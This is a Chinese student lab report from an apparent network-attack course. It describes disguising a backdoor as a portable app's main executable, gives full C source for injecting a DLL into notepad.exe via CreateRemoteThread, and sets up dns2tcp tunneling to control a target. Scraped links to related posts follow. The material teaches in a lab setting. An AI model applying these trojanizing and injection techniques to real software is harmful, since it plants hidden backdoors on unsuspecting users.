20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
木马化正常软件
- 思路:
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
测试模式.exe),然后通过之前实验的方法半手动编译一个后门exe程序,在原本的后门程序代码中加入对原本的程序主文件(现在的dll文件)调用,打开正常的程序。这样就可以实现隐蔽的后门,还可以诱导客户打开后门文件而不知道,也是所谓的“绿色软件”不绿色的原因。
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
实践过程
- 这里的实践是通过一种伪装,将后门伪装成软件的运行程序,将原本的运行程序伪装成其他的文件,诱使用户打开后门程序:
- 先对之前的后门代码修改一下,其实就是加入了打开另外一个exe文件的命令:

- 然后把生成的exe文件改名后放在软件的目录中:

- 运行之后果然可以打开目的软件,回连自然也是可以的。
- 通过wireshake抓包可以看出来,当我打开执行文件之后,在运行目标软件的同时也在尝试回连攻击方,在这里我没有打开攻击方虚拟机,所以ARP没有对这次回连进行响应,但是如果打开的话是肯定可以回连的。

- 现在回头看一下电脑里面的“绿色免安装版”游戏,真的是不能再爱了:

- 是不是和刚刚我把后门伪装起来的方法很像?所以如果这些所谓的绿色软件想植入后门,简直太容易了,而且很大可能性他们已经植入了。
- 所以官方软件在下载的时候都会提供MD5来给用户校验自己的软件有没有被人给篡改。
- ps:在后门程序编译的时候进入项目的属性中可以修改编译方式为静态库,这样生成的exe文件就可以独立运行,而不提示缺少dll了。
DLL注入技术实现后门注入
- 思路:
- DLL注入是将DLL注入到其他进程中的源程序之中,使用DLL注入器的软件肯定是比较方便的,但是要注入后门肯定不能告诉别人说你安装一个DLL注入器把我的后门注入进去吧,还是要靠编写代码来实现进入指定进程的地址空间,将调用后门的代码写入运行的进程之中。
- 对于DLL注入的方法网上资料相对比较丰富,但是在本次实践中时间紧张,不知道能不能搞出来。
实践过程
参考代码段:
用于注入dll到指定进程的exe程序代码,这里指定的是记事本进程:
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
{
DWORD dwRet = 0;
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n获得进程快照失败%d", GetLastError());
return dwRet;
}
PROCESSENTRY32 pe32;//声明进程入口对象
pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
Process32First(hSnapShot, &pe32);//遍历进程列表
do
{
if (!lstrcmp(pe32.szExeFile, lpProcessName))//查找指定进程名的PID
{
dwRet = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return dwRet;//返回
}
INT main(INT argc, CHAR * argv[])
{
DWORD dwPid = getProcessHandle("notepad.exe");
LPCSTR lpDllName = "dll_test.dll";
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
if (hProcess == NULL)
{
printf("\n获取进程句柄错误%d", GetLastError());
return -1;
}
DWORD dwSize = strlen(lpDllName) + 1;
DWORD dwHasWrite;
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwHasWrite))
{
if (dwHasWrite != dwSize)
{
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}
else
{
printf("\n写入远程进程内存空间出错%d。", GetLastError());
CloseHandle(hProcess);
return -1;
}
DWORD dwNewThreadId;
LPVOID lpLoadDll = LoadLibraryA;
HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
if (hNewRemoteThread == NULL)
{
printf("\n建立远程线程失败%d", GetLastError());
CloseHandle(hProcess);
return -1;
}
WaitForSingleObject(hNewRemoteThread, INFINITE);
CloseHandle(hNewRemoteThread);
//准备卸载之前注入的Dll
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwHandle);//线程的结束码即为Dll模块儿的句柄
CloseHandle(hThread);
pFunc = FreeLibrary;
hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
- 尝试去注入进程:
- 当指定进程未开启时,连接不到进程:

- 当进程开启时,连接到进程但建立线程失败:

- 查找了一个出错函数的erro值含义了解到是因为拒绝访问而出错,接下来尝试提升权限来试试或者更改路径等方法
- 生成dll程序的代码:
。。。。。。(待补全)
DNS隧道技术实践实现后门通信隐藏。
简介
- 隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。
DNS隧道设置
- 使用了三台虚拟机:攻击主机-KALI;DNS服务器-windows 2008;目标靶机-KALI。
DNS服务器设置(IP-192.168.1.242)
- 首先需要一台主机作为DNS服务器,在这次实验中我用的是2008系统,建立DNS服务器的过程在网上很多,大致就是像之前建立IIS一样新建角色,然后在DNS服务器中添加主机,添加的主机的IP设为攻击主机的IP,然后新建立一个委托,域名我设置成了
cy.caiye.com。
攻击主机设置(IP-192.168.1.180)
- 接下来的所有修改建议修改之前先备份。
- 修改dns2tcpd配置文件:

- 启动dns隧道的服务端:

客户端配置(IP-192.168.52.128)
- 先删除ssh连接的known_hosts文件,可以避免出现一些ssh连接的问题,然后修改DNS解析文件:vim /etc/resolv.conf,将地址改为之前DNS服务器的地址:


- 配置dns隧道客户端程序
- 因为在kali2中,本身没有配置文件,所以需要自己写配置文件
vim /etc/dns2tcpc.conf,然后通过dns2tcpc -z cy.caiye.com测试是否可以提供服务:

- 这个时候就可以测试连接了(
dns2tcpc -c -f /etc/dns2tcpc.conf指令来监听连接):

在ssh的连接过程中遇到了一些问题,在网上找到了一部分答案,这个资料中相对全面:资料链接
实验连接测试结果:
下面是通过控制对方主机的一个客户获得root权限,然后在对方主机中新建了一个test文件



- 从结果上看,虽然实现了通过dns隧道通信来操控另外一台主机的效果,但是与实验预期的不一样,变成了靶机操控攻击端(也可能是我对dns通信过程的理解不深,反正做出来的结果和想的不一样 = =!),而且通过第二章图片攻击端的反馈信息来看,建立的连接也不是预期的效果,存在问题,希望可以通过以后的学习来解开这些疑问。
实践感想
- 本次进阶实践感觉还是很困难的,认识到自己的能力很弱,基础知识不够,三个实践内容都不简单,勉强做了一些但是还存在许多问题,希望有其他人可以做出来,然后互相学习一下思路和方法。
参考资料
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践的更多相关文章
- 20145212 罗天晨 《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
恶意代码伪装技术实践 木马化正常软件. 啊哈--原本以为很复杂--然后我看了一下蔡野同学的博客,发现原理竟然如此简单-- 对原先生成病毒的代码稍作修改: 于是--把生成的后门软件改成骗人的名字:这里改 ...
- 20155232《网络对抗》Exp4 恶意代码分析
20155232<网络对抗>Exp4 恶意代码分析 1.实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 20145208 蔡野 《网络对抗》Exp4 恶意代码分析
20145208 蔡野 <网络对抗>Exp4 恶意代码分析 问题回答 总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,端口,服务还有文 ...
- 20145312《网络对抗》Exp4 恶意代码分析
20145312<网络对抗>Exp4 恶意代码分析 问题回答 1.总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,开放端口,程序服务还 ...
- 20155227《网络对抗》Exp4 恶意代码分析
20155227<网络对抗>Exp4 恶意代码分析 实践目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分 ...
- 20155302《网络对抗》Exp4 恶意代码分析
20155302<网络对抗>Exp4 恶意代码分析 实验要求 •是监控你自己系统的运行状态,看有没有可疑的程序在运行. •是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工 ...
- 20155308《网络对抗》Exp4 恶意代码分析
20155308<网络对抗>Exp4 恶意代码分析 实践说明 实践目标 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20155323刘威良《网络对抗》Exp4 恶意代码分析
20155323刘威良<网络对抗>Exp4 恶意代码分析 实践目标 1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20145215《网络对抗》Exp4 恶意代码分析
20145215<网络对抗>Exp4 恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用 ...
随机推荐
- HDU_6043_KazaQ's Socks
KazaQ's Socks Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 131072/131072 K (Java/Others)T ...
- 排序的本质是什么 冒泡排序 bubble sort
import random def getRandomNums(min=4, max=20): n = random.randint(min, max) arr = [random.randint(1 ...
- redis 事务 even when a command fails, all the other commands in the queue are processed
even when a command fails, all the other commands in the queue are processed 单个 Redis 命令的执行是原子性的,但 R ...
- render, render_to_response, redirect,
自django1.3开始:render()方法是render_to_response的一个崭新的快捷方式,前者会自动使用RequestContext.而后者必须coding出来,这是最明显的区别,当然 ...
- CentOS网卡配置大全
持续更新中... 1.配置机器名 2.配置网卡属性 3.问题解决 3.1解决网卡经常需要手动重连问题 vi /etc/sysconfig/network-scripts/ifcfg-ens33 把ON ...
- IIS7启用gzip
压缩什么 服务器基于文件类型选择压缩什么,但这通常受限于对其进行的配置.很多网站就会压缩其HTML文档.压缩脚本和样式表也是非常值得的,压缩的内容包括XML和JSON在内的任何文本响应,但这里只关注脚 ...
- flask-WTForms组件
WTForms是一个支持多个web框架的form组件 主要能够帮助我们生成html标签 对数据进行验证 安装 pip install wtforms Wtforms的使用 这里借助一个用户登录注册的示 ...
- IIS/ASP.NET访问共享文件夹的可用方式
[截止2014-10-14] 网上搜索了很多篇文章,所提及的总共有两种方式: 1.Asp.Net模拟登陆: 例如: 实战ASP.NET访问共享文件夹(含详细操作步骤) 实现一个2008serve的II ...
- spring boot读取配置文件
一.springboot配置文件 核心配置文件和自定义配置文件.核心配置文件是指在resources根目录下的application.properties或application.yml配置文 ...
- Linux定时任务出现问题时正确的解决步骤
但凡是提供服务的,都要有本账.软件服务也不例外.无论是Apache,Nginx,还是我们自己搭建的网站,日志是标配.这里的日志就是一本账. 当定时任务出现问题时,正确的处理步骤是: 1,定时任务服务是 ...